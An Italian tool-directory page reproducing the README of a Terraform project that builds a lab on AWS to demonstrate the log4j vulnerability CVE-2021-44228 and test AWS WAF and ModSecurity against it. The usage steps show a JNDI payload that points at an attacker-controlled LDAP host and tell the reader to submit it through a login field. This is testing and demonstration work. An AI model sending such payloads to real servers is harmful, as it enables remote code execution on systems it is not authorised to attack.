Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
tf-log4j-aws-poc — Questo progetto dimostra una proof-of-concept della vulnerabilità log4j (CVE-2021-44228) su AWS utilizzando Terraform come Infrastructure-as-a-Code. | Kitploit
Strumenti/GitHubGitHub/moshuum/tf-log4j-aws-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza Cloud
GitHubmoshuum/tf-log4j-aws-poc

tf-log4j-aws-poc

Questo progetto dimostra una proof-of-concept della vulnerabilità log4j (CVE-2021-44228) su AWS utilizzando Terraform come Infrastructure-as-a-Code.

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Readme

Descrizione del progetto

Questi file di progetto dimostrano una proof-of-concept della vulnerabilità log4j (CVE-2021-44228) su AWS utilizzando Terraform Infrastructure-as-a-code.

Ci sono 2 demo in questo progetto:

  1. single-instance contiene un server vulnerabile, puoi usare il tuo computer personale per sfruttare il server, il server dovrebbe essere protetto con AWS WAF.
  2. double-instance contiene 2 servizi, il server vulnerabile è accessibile solo dal server proxy inverso, il proxy inverso dovrebbe essere protetto da ModSecurity.

Conclusione: La prima demo dimostra un exploit riuscito usando AWS WAF. La seconda demo è stata un tentativo fallito quando ModSecurity è in atto. Rimuovendo ModSecurity l'exploit avrà successo. Potrebbe essere perché ModSecurity è un progetto attivo, quindi le stringhe vulnerabili sono state identificate e filtrate.

Crediti

Questa poc proviene da: https://github.com/kozmer/log4j-shell-poc

Questo blog Medium spiega com'è andato il suo tentativo: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873

I miei test

Personalmente, ho testato usando Windows + Powershell, la macchina cloud è Ubuntu 18 LTS. (Exploit con kali o qualsiasi linux)

Prerequisiti

  1. AWS_CLI installato
  2. Terraform CLI installato
  3. Avere pronta la Access key

Chiave RSA

Creala tramite web (Nome 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs

Ottieni la Access key

https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Seleziona utente > Seleziona la sezione security_credentials

Imposta la Access key nella shell

Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"

Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"

Utilizzo

Configura EC2 nella piattaforma AWS

cd single-instance
terraform init
terraform apply

Dopo l'esecuzione, verranno elencati un IP / DNS.

Per single-instance, assicurati che http:<aws host url>:8080 sia accessibile

Per double-instance, assicurati che http:<aws host url> sia accessibile

* nota che avviare 'double-instance' richiede molto più tempo, puoi usare journalctl -f dopo l'accesso SSH al sistema per monitorare l'avanzamento

Se segui il journal, "Reached target Cloud-init target." significa che è nello stato pronto.
exploit

Prepara il client remoto / localhost (attaccante):

Imposta il permesso di esecuzione chmod +x ../exploit-script-remote.sh

Esegui lo script con la variabile fornita
../exploit-script-remote.sh

Nota che il payload viene mostrato alla fine dello script simile a ${jndi:ldap://<ip-address>:1389/a}

Server vulnerabile:

Visita http:<aws host url>:8080

Copia il payload nel campo 'username' e poi invia il modulo

exploit

Nota

File JDK: ho verificato che l'integrità dalla fonte baidu sia la stessa hash di Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974

Riferimenti

Istanza: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance

Istanza spot: https://www.tderflinger.com/en/ec2-spot-with-terraform

SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html

[chiave ssh al volo] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform

WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/

Templating: https://spacelift.io/blog/terraform-templates

AWS AZ ID: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones

Cose imparate

  • (molto tempo speso) non usare provision come script bash / usa invece un template (potrebbe essere meglio vedere se si possono ridurre i privilegi)
  • La chiave RSA generata dal web è più affidabile di quella generata manualmente da aws-cli se si usa .pem (la compatibilità del file .pem con il client SSH o il server AWS) altrimenti usa una normale chiave rsa senza pem.
  • sono riuscito a usare l'istanza spot invece di quella normale per risparmiare sui costi
  • L'esposizione delle porte di Docker può sovrascrivere le regole del firewall
  • (molto tempo speso) Configurare e fare troubleshooting della rete richiede molto tempo - Route, vpc necessitano di 1 sec-group e l'host ec2 di un altro sec-group - ed entrambi i sec-group devono puntare alla vpc
  • wget non può gestire sessioni di download lunghe

# Registro dei tempi

  • Inizio 06 Giu 11:00 UTC+0800 - 07 Giu 4:00 (Completato poc+tf+aws -waf) - 17 ore
  • Inizio 07 Giu 13:00 UTC+0800 - 08 Giu 5:00 (Completato il 2° caso in cui viene usato un proxy inverso)
Scarica lo strumento